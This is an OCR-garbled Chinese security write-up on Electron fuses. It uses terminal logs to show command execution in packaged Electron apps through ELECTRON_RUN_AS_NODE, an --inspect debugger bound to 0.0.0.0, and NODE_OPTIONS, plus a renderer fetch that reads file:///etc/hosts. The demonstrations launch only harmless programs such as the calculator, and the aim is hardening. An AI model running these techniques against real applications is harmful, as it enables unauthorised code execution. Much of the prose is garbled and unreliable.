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nodeOptions

nodeCliInspect

embeddedAsarIntegrityV

alidation

onlylLoadAppFromAsar
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Privileges

FERT—1TMRE—%B0
app.asar , MRS
5 embeddedAsarIntegrit
yValidation fuse g5
FAEY, RelgemnEKREn
IERYHRS,

loadBrowserProcessSpec
ificv8Snapshot BN
R HIZERAR ve RIEX
Fo

ZFINBERT, Electron HY
SAZEBIFEAAERAY vs 1R
BxXf, BRltfusels,

M B HER AR

py| browser_v8 context_s
napshot.bin B H1ER
H vs RIF, HMHARRE
REME%ER vs 1RIR
X

grantFileProtocolExtra
Privileges M file://

PN INERITIE R SR

FEBHENEESR web J

5 2R PFTIR1FRIAPRAVAR

fRo 1E Electron HI[RIKHR
A, XFTAH

& Electron NMFAREFHIZ
L, BRBHRE, RAN

RREFIENZMBEEX

N RIR A . 90

RIEARM file:// i
U, MMNERALtfuse

Disabled

Enabled

BREIHMERMIN, &M Electron Forge , WHMEEHHEEFMNITEITEIIAR Fuse
BT

301/ 26M



forge.config.js

const { FusesPlugin } = require('@electron-forge/plugin-fuses');

const { FuseVlOptions, FuseVersion } = require('@electron/fuses');

module.exports = {
packagerConfig: {
asar: true,
bo
rebuildConfig: {},
makers: [
{
name: '@electron-forge/maker-squirrel’,
config: {},
¥
{
name: '@electron-forge/maker-zip',
platforms: [ 'darwin'],
o
{

name: '@electron-forge/maker-deb',
config: {},

e

{

name: '@electron-forge/maker-rpm',
config: {},
¥
1,
plugins: [
{
name: '@electron-forge/plugin-auto-unpack-natives',
config: {},
¥

new FusesPlugin({
version: FuseVersion.Vl,
[FuseV1Options.RunAsNode]: false,

[FuseV1Options.EnableCookieEncryption]:




[FuseVl1Options.EnableNodeOptionsEnvironmentVariable]:

[FuseVlOptions.EnableNodeCliInspectArguments]: false,

[FuseV1Options.EnableEmbeddedAsarIntegrityValidation]:

[FuseVl1Options.OnlyLoadAppFromAsar]: true,

BJUEE, &Y loadBrowserProcessSpecificvV8Snapshot A
grantFileProtocolExtraPrivileges Eiﬂﬂﬂ@féEEBﬂ*ﬁiEE@%ﬁikﬁi?Eéé*ﬁﬁi, HNEBE—TE
fr¥] B RAERF

git:( ) x
/usr/bin/sophisticated-bell-slow-t246g
git:( ) X
Analyzing app:
use Version:

M EERECE —3
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0x03 WA EFIEFH fuse

KE—NYBEFRN fuse IKE

https://www.electronjs.org/zh/docs/latest/tutorial /fuses#how-do-i-flip-the-fuses

EELZIEE @electron/fuses KHFIEL

npm i @electron/fuses

KENBZERD fuse


https://www.electronjs.org/zh/docs/latest/tutorial/fuses#how-do-i-flip-the-fuses

[ )») npx @electron/fuses read --app /Applications/Goby.app
Analyzing app: Goby.app
Fuse Version: vi1

RunAsNode is Enabled

EnableCookieEncryption is
EnableNodeOptionsEnvironmentVariable is Enabled
EnableNodeCliInspectArguments is Enabled
EnableEmbeddedAsarIntegrityValidation is
OnlyLoadAppFromAsar is

»
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1. runAsNode

runAsNode &I%'EE"J/E\)\(%*%J?%T’E%EE"J Node. js i&%%)%‘.ﬁb, yﬂ%%%ﬁﬂ'\] Node.js

BARTULZEFRZEEZBNEE, EAFNXIERESRZEE ELECTRON RUN AS NODE IfiR

R
gi

ELECTRON_RUN_AS NODE &ZiTF 14

https://www.electronjs.org/zh/docs/latest/api/environment-variables#electron_run_as_nod

e

XHEPHRBINERT, BRTYUTHS, 1RER c1i SEITELEFEHZESR

e -—-openssl-config
¢ --use-bundled-ca
¢ -—-use-openssl-ca

--force-fips

e -——enable-fips


https://www.electronjs.org/zh/docs/latest/api/environment-variables#electron_run_as_node

XEEFRETTERE A Electron M Node.js BY crypto 1RIREY{FEH BoringSSL A2
OpenSSL

cli FEMAIUEZE

https://nodejs.org/api/cli.html

MEFKHIZF— runAsNode N Enabled HIIEFE

X
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/1ib/x86_64-1inux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.15
[proxychains] DLL init: proxychains-ng 4.15

> sophisticated-bell-slow-t2469g@1.0.0 make
> electron-forge make

[proxychains] DLL init: proxychains-ng 4.15
[proxychains] DLL init: proxychains-ng 4.15
[proxychains] DLL init: proxychains-ng 4.15
Checking your system
[proxychains] DLL init: proxychains-ng 4.15
Loading configuration
Resolving make targets
> Making for the following targets
Running command
Preparing to package application
Running packaging hooks
Running hook
Running hook
Packaging application
Packaging for on
Running hook
Running hook
Making distributables
Making a distributable for
Running hook
> Artifacts available at:

[proxychains] DLL init: proxychains-ng 4.15
X

Analyzing app:
use Version:
is

ZHBETIRENIETE ELECTRON RUN_AS NODE=1 FHf%iE -i B


https://nodejs.org/api/cli.html

join@Electron:/tmp/test2/out/sophisticated-bell-slow-t246g-1linux-x64$ export ELECTRON_RUN_AS_NODE=1
join@Electron:/tmp/test2/out/sophisticated-bell-slow-t246g-1linux-x64$ echo $ELECTRON_RUN_AS_NODE
1
join@Electron:/tmp/test2/out/sophisticated-bell-slow-t246g-1linux-x64$ ./sophisticated-bell-slow-t246g -i
elcome to Node.js v20.11.1.
ype ".help" for more information.
P require('child_process').exec('deepin-music')
ChildProcess {
_events: [Object: null prototype] {
close: cti it ler],
[Sa
b
_eventsCount: 2,
_maxListeners:
_closesNeeded: 3,
_closesGot: 0
connected: false,
signalCode: null,
exitCode: null,
killed: false,
spawnfile:
_handle: Process {
onexit:
pid: 72644
[
},
spawnargs: [
pid: 72644
stdin: Socket {
connecting: false,
_hadExrror: false,
_parent: null,
_host: null,

=

ARINEREREE =
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22 Windows PowerShell

C:\Users\join\Desktop\forge_test\my—app\out\my—-app-win32-x6U4>npx @electron/fuses read ——app ./my—app.exe

Analyzing app:

Fuse Version:
RunAsNode is
EnableCookieEncryption is
EnableNodeOptionsEnvironmentVariable is
EnableNodeCliInspectArguments is
EnableEmbeddedAsarIntegrityValidation is
OnlyLoadAppFromAsar is
LoadBrowserProcessSpecificV8Snapshot is
GrantFileProtocolExtraPrivileges is

C:\Users\join\Desktop\forge_test\my—-app\out\my-app-win32-x6U4>echo %ELECTRON_RUN_AS_NODES%
1

C:\Users\join\Desktop\forge_test\my-app\out\my—-app-win32-x6U4>my-app.exe —e "require('child_process').exec('calc.exe')"

C:\Users\join\Desktop\forge_test\my—app\out\my-app-win32-x6u>




[bash-3.2$ npx @electron/fuses read --app my-app.app
Analyzing app: my-app.app
Fuse Version: vi1
RunAsNode is Enabled
EnableCookieEncryption is Enabled
EnableNodeOptionsEnvironmentVariable is
EnableNodeCliInspectArguments is
EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is
GrantFileProtocolExtraPrivileges is Enabled
[bash-3.2$ cd my-app.app/Contents/Mac0S/
[bash-3.2$ export ELECTRON_RUN_AS_NODE=1
[bash-3.2$ ./my-app -e "require('child_process').exec('open /System/Applications/Calculator.app')"
[bash-3.2%
2%
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PS C:\Users\join\Desktop\forge_test\my—app\out\my-app-win32-x6U4> npx @electron/fuses read .\my-app.exe
Analyzing app:
Fuse Version:
RunAsNode is
EnableCookieEncryption is
EnableNodeOptionsEnvironmentVariable is
EnableNodeCliInspectArguments is
EnableEmbeddedAsarIntegrityValidation is
OnlyLoadAppFromAsar is
LoadBrowserProcessSpecificV8Snapshot is
GrantFileProtocolExtraPrivileges is
PS C:\Users\join\Desktop\forge_test\my—app\out\my-app-win32-x6u4> .\my-app.exe
PS C:\Users\join\Desktop\forge_test\my-app\out\my—-app-win32-x6ul>
Debugger listening on ws://0.0.0.0:12345/1c8bef82-221U-14617-8bed-6750a75b7af6
For help, see: https://nodejs.org/en/docs/inspector
{
path: 'C:\\Users\\join\\Desktop\\forge_test\\my—app\\out\\my-app-win32-x6u4\\my-app.exe'
name: 'my-app',
icon: NativeImage {
toPNG: [Function: toPNGI, @ indexhtmi
toJPEG: [Function: toJPEG], File Edit View Window Help
toBitmap: [Function: toBitmap],
getBitmap: [Function: getBitmap],

getScaleFactors: [Function: getScaleFactors], He"o World!

getNativeHandle: [Function: getNativeHandle],
toDataURL: [Function: toDataURL],
isEmpty: [Function: isEmptyl],


https://mp.weixin.qq.com/s/C2frOpRWwaF_IBcEg-6YIQ

Lj. (im} [ Inspect with Edge Developer Toc X —

& C @ Edge | edge://inspect/#devices

DevTools Devices

[ Discover USB devices Port forwarding... ‘
Discover network targets Configure... ‘

Connect to a remote Windows device

http://machine-name:port Connect to Device

Windows Device Portal must be enabled in order to connect. Learn more about enabling remote diagnostics

I Devices

Open dedicated DevTools for Node

Remote Target
BHA I <P e o
Target (v20.11.1) trace O ._‘:' O it A GnE +
Q)

@ internal w isEe8 ARSI Y REEE R

electron/js2c/browser_init
inspect

¢ undefined
> require(’child_process').exec('calc') /

A e S M = @

EFRE
7E Microsoft Edge XFIRT, {REEFIFH

< B ChildProcess {_events: {..}, _eventsCount: 2, _maxListeners: undefined, _closesNeeded: 3, _closesGot: @, ..}
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2 Windows PowerShell

PS C:\Users\join\Desktop\forge_test\my-app\out\my-app-win32-x64> npx @electron/fuses read
Analyzing app: my—app.exe
Fuse Version: vl

RunAsNode is

EnableCookieEncryption is

EnableNodeOptionsEnvironmentVariable is

EnableNodeCliInspectArguments is

EnableEmbeddedAsarIntegrityValidation is

OnlyLoadAppFromAsar is

LoadBrowserProcessSpecificV8Snapshot is

GrantFileProtocolExtraPrivileges is
PS C:\Users\join\Desktop\forge_test\my-app\out\my-app-win32-x64> .\my—app.exe
PS C:\Users\join\Desktop\forge_test\my—-app\out\my-app-win32-x64>
{

path: 'C:\\Users\\join\\Desktop\\forge_test\\my-app\\out\\my-app-win32-x6u4\\my-app.exe',

name: 'my-app',

icon: NativeImage {
toPNG: [Function: toPNG],
toJPEG: [Function: toJPEG], @ indexhtmi
toBitmap: [Function: toBitmap], File Edit View Window Help
getBitmap: [Function: getBitmap],
getScaleFactors: [Function: getScaleFactors],
getNativeHandle: [Function: getNativeHandle], ]
toDataURL: [Function: toDataURL], He"o World‘
isEmpty: [Function: isEmpty],

getSize: [Function: getSize],

setTemplateImage: [Function: setTemplateImage],
isTemplateImage: [Function: isTemplateImage],
isMacTemplateImage: [Getter/Setter],

resize: [Function: resize],

$£10T01 /#2610

.\my—-app.exe




Q\. ] [3 Inspect with Edge Developer Toc X +

a

& @ @ Edge | edge:/inspect/#devices

DevTools Devices

(J Discover USB devices Port forwarding...
Discover network targets

Connect to a remote Windows device

http://machine-name:port ‘ Connect to Device

Windows Device Portal must be enabled in order to connect. Learn more about enabling remote diagnostics.

I Devices

Open dedicated DevTools for Node

Remote Target /
A2 IAIA T E BB

u:"l runAsNode ?‘EZ'&%N Enable , Tﬂ%iﬁ%ﬁﬁﬁt%&l&%ﬁ Disabled ET_I"%,/‘EZJiU)E'?

PS C:\Users\join\Desktop\forge_test\my-app\out\my—-app-win32-x64> npx @electron/fuses read .\my-app.exe
Analyzing app: my—app.exe
Fuse Version: vl

RunAsNode is

EnableCookieEncryption is

EnableNodeOptionsEnvironmentVariable is

EnableNodeCliInspectArguments is

EnableEmbeddedAsarIntegrityValidation is
OnlyLoadAppFromAsar is
LoadBrowserProcessSpecificV8Snapshot is
GrantFileProtocolExtraPrivileges is
PS C:\Users\join\Desktop\forge_test\my—app\out\my—app-win32-x64> .\my-app.exe
PS C:\Users\join\Desktop\forge_test\my—-app\out\my-app-win32-xe6u>
{
path: 'C:\\Users\\join\\Desktop\\forge_test\\my-app\\out\\my-app-win32-x64\\my—-app.exe',
name: 'my-app',
icon: NativeImage { @ indexhtml
toPNG: [Function: toPNG], i o )
toJPEG: [Function: toJPEG], File Edit View Window Help
toBitmap: [Function: toBitmap],

getBitmap: [Function: getBitmap],
getScaleFactors: [Function: getScaleFactors], He"O WOI"ld!
getNativeHandle: [Function: getNativeHandle],

toDataURL: [Function: toDataURL],

isEmpty: [Function: isEmpty],

getSize: [Function: getSize],

setTemplateImage: [Function: setTemplateImagel],
enp elmage . [ on . SHpLal e lNade
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( ¥ i} [3 Inspect with Edge Developer Toc X ==

[ ]
P
‘ &< O @ Edge | edge//inspect/#devices

| DevTools Devices

I Devices

| (J Discover USB devices Port forwarding...
Discover network targets

Apps
Connect to a remote Windows device
Shared workers
Service workers http://machine-name:port | Connect to Device
Shared storage worklets Windows Device Portal must be enabled in order to connect. Learn more about enabling remote diagnostics.
Other Open dedicated DevTools for Node

Remote Target #1270

£ Windows ¥ & EHASHBInTEAR, B7E peepin Linux _ENR[E

J @Ele: n: $ npx @electron/fuses read --app sophisticated-bell-slow-t246g
npx: 13 R#EZEMIH, A 8.106 #
Analyzing app:
Fuse Version:
is

join@Electron: $ ./sophisticated-bell-slow-t246g --inspect="0.0.0.0:12345"
Debugger listening on ws://0.0.0.0:12345/e34660da-15c5-4565-bd12-c7766f5361e7
For help, see: https://nodejs.org/en/docs/inspectox
Welcome to Node.js v20.11.1.
Type ".help" for more information.
>
1

F12T71 /26T



vivaldi://inspect/#devices

DevTools Devices
Devices
Discover USB devices Port forwarding... © I

E N @ DevTools is now available in Chinese!
N i Discover network targets

. Always match Chrome's language | Switch DevTools to Chinese JEB &S leEYET]

hared workers Open dedicated DevTools for Node Console  Sources ~ Memory  Profiler E e

[ © | ./sophisticated-bell.. v ® Filter Default levels v {
rs

Remote Target

12r0.0 No Issues
Target trace / Welcome to Node.js v20.11.1. / node:internal/main/repl:40

Type ".help" for more information.
./sophisticated-bell-slow-t246g[123232] fil > require('child process').exec('deepin-music')

inspect ChildProcess { events: {..}, eventsCount: 2, maxListeners: undefined, closesNe
eded: 3, closesGot: 0, ..

Packaging application
Packaging for on
Running hook
Running hook
Making distributables
Making a distributable for Hello world!
Running hook
> Artifacts available at: We are using Node.js 20.11.1, Chromium 124.0.6367.49, and Electron 30.0.0.
x
X

x

chrome_100_percent.pak chrome-sandbox* libffmpeg.so*
chrome_200_percent.pak icudtl.dat 1ibGLESv2.so*
chrome_crashpad_handlexr* 1ibEGL.so* libvk_swiftshade
- X
Analyzing app:
Fuse Version:

is

r_icd.json

is
= x
[134843:0510/152016.221545: ERROR:browser_main_loop.cc(280)] GLib-GObject: g_value_set_boxed: assertion 'G_VALUE_HOLDS_BOXED (value)' failed
[134878:0510/152016.532918:ERROR: g1_surface_presentation_helper.cc(260)] GetVSyncParametersIfAvailable() failed for 1 times!
[134878:0510/152016.534879:ERROR:g1_surface_presentation_helper.cc(260)] GetVSyncParametersIfAvailable() failed for 2 times!
[134878:0510/152016.552380: ERROR: g1_surface_presentation_helper.cc(260)] GetVSyncParametersIfAvailable() failed for 3 times!

F13T1/H 26T

\g



< > KW M C QA UV vivaldii//inspect/#devices H

DevTools Devices

Discover USB devices Port forwarding...

Discover network targets

Devices

Extensions

Open dedicated DevTools for Node

Remote Target #127.00.1

Analyzing app:
Fuse Version:
is

= x

Debugger listening on ws://0.0.0.0:12345/0811613f-8c7c-4048-ade9-4a06a281b837

For help, see: https://nodejs.org/en/docs/inspector

[137564:0510/152317.440925:ERROR :browser_main_loop.cc(280)] GLib-GObject: g_value_set_boxed: assertion 'G_VALUE_HOLDS_BOXED (value)' failed
[137601:0510/152317.814247 :ERROR:gl_surface_presentation_helper.cc(260)] GetVSyncParametersIfAvailable() failed for 1 times!
[137601:0510/152317.816591:ERROR:gl_surface_presentation_helper.cc(260)] GetVSyncParametersIfAvailable() failed for 2 times!

[137601:0510/152317.829846 :ERROR:gl_surface_presentation_helper.cc(260)] GetVSyncParametersIfAvailable() failed for 3 times!
@ Hello Worlc

Hello World!

‘We are using Node.js 20.11.1, Chromium 124.0.6367.49, and Electron 30.0.0.

vivaldi://inspect/#devices A ! (o] (A)
DevTools Devices
Devices
. Discover USB devices Port forwarding...
Ey . @ DevTools is now available in Chinese!

Discover network targets

x
Always match Chrome's language | Switch DevTools to Chinese JEBIINEIIVEREN]
ApDpS

Open dedicated DevTools for Node

el | Console Sources Memory Profiler f o J
sharead o 2rs
) l [ © | /tmpitest2/out/soph.. v @ | Filter Default levels v f el
Servic orkers

Remote Target 121 No [ssUes
Oth

Target trace > require('child process').exec('deepin-music')

>L‘hildProcess { events: {..}, _eventsCount: 2, maxListeners: undefined, closesNe
electron/js2c/browser_init file eded: 3, closesGot: 0, ..

inspect




= Deepin Linux F, & runAsNode T nodeClilInspect HAA—M#{IKE N Enabled
» BRI LUAITIZAZ I

7£ MacOS LRI ANEINE

% runAsNode N Enable , IAEJHIXIKEN Dpisabled Y

bash-3.2$ npx @electron/fuses read --app my-app.app
Analyzing app: my-app.app
Fuse Version: vl
RunAsNode is Enabled
EnableCookieEncryption is Enabled
EnableNodeOptionsEnvironmentVariable is
EnableNodeCliInspectArguments is
EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is
GrantFileProtocolExtraPrivileges is Enabled
[bash-3.2$ cd my-app.app/Contents/Mac0S/
[bash-3.2$ ./my-app --inspect="0.0.0.0:12345"
Debugger listening on ws://0.0.0.0:12345/acd741c5-074c-47a9-ab42-bcdeeb4elbc5
For help, see: https://nodejs.org/en/docs/inspector
Welcome to Node.js v20.11.1.
Type ".help" for more information.

DevTools Devices

I Devices
Discover USB devices Port forwarding...

Pages

Extensions Discover network targets

Apps . .
P Connect to a remote Windows device
Shared workers
http://machine-name:po Connect to Device
Service workers

Windows Device Portal must be enabled in order to connect. Learn more about enabling remote diagnostics.

Shared storage worklets

Other Open dedicated DevTools for Node

Remote Target #7001
O e O ERE <P e

Target (v20.11.1) trace
.Imy-app[23489] ¥ O |ffiidE RiAG3 v REEE

./my-app[23489] file:/// @ fmy-appl ! s ° @
inspect Welcome to Node.js v20.11.1.

Type ".help" for more information.

> require('child_process').exec('open /System/Applications/Calculator.app")

< B ChildProcess {_events: {..}, _eventsCount: 2, _maxListeners: undefined, _closesNeeded: 3, _closesGot: 0, ..}

u:‘l' runAsNode *ﬂiﬁﬁiﬁﬁtgﬁﬁﬁjﬂ Disabled ET_I'

B15T/H 26T



bash-3.2$ npx @electron/fuses read --app my-app.app
Analyzing app: my-app.app
Fuse Version: vi

RunAsNode is

EnableCookieEncryption is Enabled
EnableNodeOptionsEnvironmentVariable is
EnableNodeCliInspectArguments is
EnableEmbeddedAsarIntegrityValidation is Ena

OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is
GrantFileProtocolExtraPrivileges is Enabled
bash-3.2$ cd my-app.app/Contents/Mac0S/
bash-3.2$ ./my-app --inspect="0.0.0.0:12345"
[24614:0510/153619.446425:ERROR: CONSOLEC1)] "Request Autofill.enable failed. {"code":-32601,"message":"'Autofill.enable' wd|
devtools/bundled/core/protocol_client/protocol_client.js (1)

o [ ] Hello World!

@ DevTools is now available in Chinese!

Always match Chrome's language X Switch DevTools to Chinese JsLRREHGIGERET
@ He"o i< [o Elements  Console  Sources  Network >> @ X

World! M @ tpv © IFilter Default levels ¥ No Issues 83
>

Welcome to your
Electron application.

DevTools Devices

Discover USB devices Port forwarding...
Pages
Extensions Discover network targets

Apps

I Devices

Connect to a remote Windows device

http://machine-name:po Connect to Device

Windows Device Portal must be enabled in order to connect. Learn more about enabling remote diagnostics.

Shared workers

Service workers

Shared storage worklets

Other Open dedicated DevTools for Node

Remote Target #2700

TERITIZAZ 1

Y runAsNode N Disabled , IWIZVHIXIEEN Enabled HY

16T /26T



[bash-3.2$ npx @electron/fuses read --app my-app.app
Analyzing app: my-app.app
Fuse Version: vi1
RunAsNode is
EnableCookieEncryption is Ena o)
EnableNodeOptionsEnvironmentVariable is
EnableNodeCliInspectArguments is Enabled
EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is
GrantFileProtocolExtraPrivileges is Enabled
[bash-3.2$ cd my-app.app/Contents/Mac0S/
[bash-3.2$ ./my-app --inspect="0.0.0.0:12345"
Debugger listening on ws://0.0.0.0:12345/060399al1-f600-40d8-ae31-3a5fd036a653
For help, see: https://nodejs.org/en/docs/inspector
[25206:0510/153946.703316:ERROR: CONSOLEC1)] "Request Autofill.enable failed. {"code":-32601,"message":"'A
devtools/bundled/core/protocol_client/protocol_client.js (1)

[ ) [ ) Hello World!

@ DevTools is now available in Chinese!

Always match Chrome's language J Switch DevTools to Chinese LIRS IEIET)
@ He"o i [0 Elements Console Sources Network  >> @ X

World' M @ topvy © IFilter Default levels Y Nolssues €83
L]

>

X

Welcome to your

DevTools Devices
I Devices
Discover USB devices
Pages

xtensions Discover network targets

Connect to a remote Windows device

http://machine-name:po Connect to Device

Windows Device Portal must be enabled in order to connect. Learn more about enabling remote diagnostics.

Shared workers

Open dedicated DevTools for Node

Remote Target #2700 0O Bmwa GEB <pue One  +
Target trace @ .Imy-app[25206] ¥ O |fiis RiARS v REEE S

electron/js2c/browser_init file:/// > require('child_process').exec('open /System/Applications/Calculator.app')

inspect <& ® ChildProcess {_events: {..}, _eventsCount: 2, _maxListeners: undefined, _closesNeeded: 3, _closesGot: 0, ..}

AI LUZAZ A 15

FLA nodecliInspect X4 fuse IR IZKETE MacOS # Deepin Linux ERI—, BIH
runAsNode I nodeCliInspect Hp—MEIKE N Enabled ) FLe] LU TIEE IR

7£ Windows 11 EMMIEE X nodecliInspect #IZKE/ Enabled WA AILUHITIZAZHIA,
'—5 runAsNode %9&

g7/ H26T0



A Electron EERRE, EARRAIEEZELRN

3. nodeOptions

X fuse BARAERFEREZFEHAM MR EE vopE opTIONS ] NODE_EXTRA CA CERTS

X fuse 27E runaAsNode #IEE /N Enabled B¥ER, HIEFLREL Node.js {ZiBERVARLE
SRWEHTEXNFRTER

B Windows PowerShell X + v

PS C:\Users\join\Desktop\forge_test\my—app\out\my—-app-win32-x64> npx @electron/fuses read .\my-app.exe
Analyzing app: my-a
Fuse Version:
RunAsNode is
EnableCookieEncryption is
EnableNodeOptionsEnvironmentVariable is
EnableNodeCliInspectArguments is
EnableEmbeddedAsarIntegrityValidation is
OnlyLoadAppFromAsar is
LoadBrowserProcessSpecificV8Snapshot is
GrantFileProtocolExtraPrivileges is
PS C:\Users\join\Desktop\forge_test\my-app\out\my-app-win32-x64>
PS C:\Users\join\Desktop\forge_test\my-app\out\my-app-win32-x6u>
PS C:\Users\join\Desktop\forge_test\my-app\out\my-app-win32-x6u> type .\payload.js

require('child_process').exec('calc.exe')
PS C:\Users\join\Desktop\forge_test\my—app\out\my-app-win32-x64> .\my-app.exe
PS C:\Users\join\Desktop\forge_test\my-app\out\my-app-win32-x64>

it

L

9€|7TJ runAsNode E
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https://nodejs.org/api/cli.html#node_optionsoptions
https://github.com/nodejs/node/blob/main/doc/api/cli.md#node_extra_ca_certsfile

PS C: \Use15\301n\Desktop\Forge test\my-app\out\my-app-win32-x64> npx @electron/fuses read .\my-app.exe
Analyzing app: -ap
Fuse Version: vi
RunAsNode is
EnableCookieEncryption is
EnableNodeOptionsEnvironmentVariable is
EnableNodeCliInspectArguments is
EnableEmbeddedAsarIntegrityValidation is
OnlyLoadAppFromAsar is
LoadBrowserProcessSpecificV8Snapshot is
GrantFileProtocolExtraPrivileges is
PS C:\Users\join\Desktop\forge_test\my-app\out\my-app-win32-x64>
PS C:\Users\join\Desktop\forge_test\my—app\out\my-app-win32-x64> ==
PS C:\Users\join\Desktop\forge_test\my-app\out\my-app-win32-x64> type .\payload.js
require('child_process').exec('calc.exe')
PS C:\Users\join\Desktop\forge_test\my-app\out\my-app-win32-x64> .\my-app.exe
PS C:\Users\join\Desktop\forge_test\my-app\out\my-app-win32-x6u>
[10644:0510/161849.260:ERROR:node_bindings.cc(378)] Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.
[16644:0510/161849.260:ERROR: node_bindings.cc(378)] Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.

path: 'C:\\Users\\join\\Desktop\\forge_test\\my-app\\out\\my-app-win32-x64\\my-app.exe',
name: 'my-app',
icon: NativeImage {
toPNG: [Function: toPNG], @ indexhimi
toJPEG: [Function: toJPEG], File Edit View Window Help
toBitmap: [Function: toBitmap],
getBitmap: [Function: getBitmap],
getScaleFactors: [Function: getScaleFactors], 1
getNativeHandle: [Function: getNativeHandle], Hello World'
toDataURL: [Function: toDataURL],
isEmpty: [Function: isEmpty]

TTC/EIBIT Node. js RIEHRITRAGRLST

4. grantFileProtocolExtraPrivileges

XA fuse X TF file:// INBEY, £ Electron H file:// 1HINEL web XSS 2SHRY
file:// WHMXEHFERANINEE, BIFEARREF

o file:// WHNMEMIDIEAILUSIE fetch MEEM file:// HINHIFIR
file:// WHMXINEAITIEBEISER service workers

o file:// WMNINEAITIEBEIZIIIR]F frames

o file:// TNV RPRE!

B LR, MBdEMXEFRuIgEFEREEX Y, MA'FBXA fuse , S(QLEFIEH&ZIK
Electron , XEZUOINEE, FTLARMIAFFE; £ Electron Forge H&BENWNEHITEIIMEG
B, XEREN, EEFRBEAAEHEEBEEX Y

BN XEZEER fiddle #HITMIAE—IN

EI19T1 /#2671



0 Electron v30.0.3 » Run [ Console Electron Fiddle - Unsaved & © Publish

& Editors Main Process (main.js) HTML (index.html)
[ index.html Hello World!

[ main.js { app, BrowserWindow } = require('electron')
) path = require('node:path') ]
D preload.js Hello.World. i ; ;
) We are using Node.js id="node-version"
O renderer.js createWindow () { Chromium id="chrome-version"
and Electron id="electron-version"

’
mainWindow = BrowserWindow({
width: 80e,
height: 600,
webPreferences: {
preload: path.join(__dirname, ‘'preload.js')
I
1

c="./renderer.js"

A . . Renderer Process (renderer.js)
mainWindow. loadFile( ' index.html")

fetch('file:///etc/hosts"')
.then(response => {
('response.ok) {
Error( HTTP error! status: ${response.

Modules

status}’);
¥
response.text(); |
b
app.whenReady().then(() => { .then(data => {
createWindow() console. log( "i&EKRmMIN, ¥
1
app.on('activate', . (error => {
console.error('i&REK: ', error);
s

() (] Hello World! N

@ DevTools is now available in Chinese!

X
Hel IO WOrId ! Always match Chrome's language J Switch DevTools to Chinese JEsIliRE [ ETSEl)

i< [0 Elements  Console  Sources  Network >> & X
We are, using Node.js 20.11.1, D@ topvy & |Filter Default levels ¥~ Nolssues 83
Chromium 124.0.6367.119, and
Electron 30.0.3. Ll b pf S renderer.js:9
#

# localhost is used to configure the loopback interface
# when the system is booting. Do not change this entry.
#i#t
127.0.0.1  localhost
255 255.255.255 broadcasthost
34l localhost
# Added by Docker Desktop
# To allow the same kube context to work on the host and the container:
127.0.0.1 kubernetes.docker.internal
# End of section
192.168.31.185 www.clickjacking.com
192.168.31.83 evil.jd.com
10.211.55.9 Al ——A¥--ArnA%-A§--windows-11.shared A}--A¥—-AxAL-A§——
windows-11 #prl_hostonly shared

ML R LREREIEE, MBZrmANT, file WMNZELSHERIRRBERE!
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MEFKTEIZFH Electron Forge H1TFIE

r

[ »> npx @electron/fuses read --app tender-sympathy-frighten-m9ih9.app
Analyzing app: tender-sympathy-frighten-m9jh9.app
Fuse Version: vl

RunAsNode is

EnableCookieEncryption is Enabled

EnableNodeOptionsEnvironmentVariable is

EnableNodeCliInspectArguments is

EnableEmbeddedAsarIntegrityValidation is Enabled

OnlyLoadAppFromAsar is Enable

LoadBrowserProcessSpecificV8Snapshot is

GrantFileProtocolExtraPrivileges is

»>» cd tender-sympathy-frighten-m9ijh9.app/Contents/Mac0S/
)) ./te
fish: Unknown command: ./te
»» ./tender-sympathy-frighten-m9jh9

(node:35358) electron: Failed to load URL: file:///Users/helper/Desktop/tmp/27/out/tender-sympathy-frighten-m9jh9-darwin-x64/tender-sympathy-frighten-m9jh9.app/Conte
nts/Resources/app.asar/index.html with error: ERR_FILE_NOT_FOUND
(Use “tender-sympathy-frighten-m9jh9 --trace-warnings ...~ to show where the warning was created)
[35358:0510/164740.807718 :ERROR: CONSOLE(1)] "Request Autofill.enable failed. {"code":-32601,"message":"'Autofill.enable' wasn't found"}", source: devtools://devtools
/bundled/core/protocol_client/protocol_client.js (1)

tender-sympathy-frighten-m9jh9

(@ DevTools is now available in Chinese!
X

Always match Chrome's language J Switch DevTools to Chinese JSEUREIELEIR]

i [0 Elements Console 0181 & i X
P @ tpv ®© Fiter Default levels ¥ 1lssue: B1 €83

@ Not allowed to load local resource: chre t
file:///Users/helper/Desktop/tmp/27/out/tender-sympathy-frighteni

v t

RUEA fetch 1BEXK file:// MEBAATRET, @ file:// SIBETHEOEHARITT,
OJREEENRRFZFTEE, EBERHNEFER fetch FK file:// MR BXMIINEET

5. CVE-2024-23743

1X/I\ CVE ﬁt%tﬁ#%?ﬂﬂ’\] runAsNode nodeCliInspect FEE"J?&%, ﬁ_@fﬁﬁﬁ?ﬁ
REEAIRRZCVET, HET—F, HRERXTAL, AERFEEEFLZI KT —TX

Ma)t
EAFNSEBLRBIANNERTER, RXEBANNAXE—MZERBRT, FRINER™E
critical , HXZ5@IAFM chrome E"Jﬁii@*ﬁﬁ'f%?%_ﬁ: AEERMYIBL T

HLXLE fuse WRAERANTE—ILEARE L, BUREMRARIELEN, HFEXHIET—
MoNTR, BAESFAUNMCNTEES TH#EE

https://www.electronjs.org/zh/blog/statement-run-as-node-cves

https://github.com/r3ggi/electroniz3r

0x05 {ZIIEFHY fuse

ZFH fuse BRI UFEENRR, BT fuse EEZZFTTERMRIKERN, FAEZERFEEN
fuse WiZ=FEEZR KK

FE21T1 /#2606


https://www.electronjs.org/zh/blog/statement-run-as-node-cves
https://github.com/r3ggi/electroniz3r

BRMHAE, _$¢%T§%EHE’JI§ @electron/fuses
TL.F, EE?IEEL T_Jl:b*g—t'f:m_‘" TE ,m: EEE"JI,\

Analyzing app:

Fuse Version:
RunAsNode is
EnableCookieEncryption is
EnableNodeOptionsEnvironmentVariable is
EnableNodeCliInspectArguments is
EnableEmbeddedAsarIntegrityvValidation is
OnlyLoadAppFromAsar is
